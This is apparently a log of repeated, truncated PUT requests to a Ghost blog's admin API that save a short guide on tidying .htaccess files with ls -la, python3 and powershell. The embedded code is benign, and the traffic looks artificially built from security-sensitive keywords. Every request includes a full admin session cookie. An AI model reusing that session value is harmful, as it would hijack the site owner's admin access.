shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8145", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8330", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8209", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8121", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 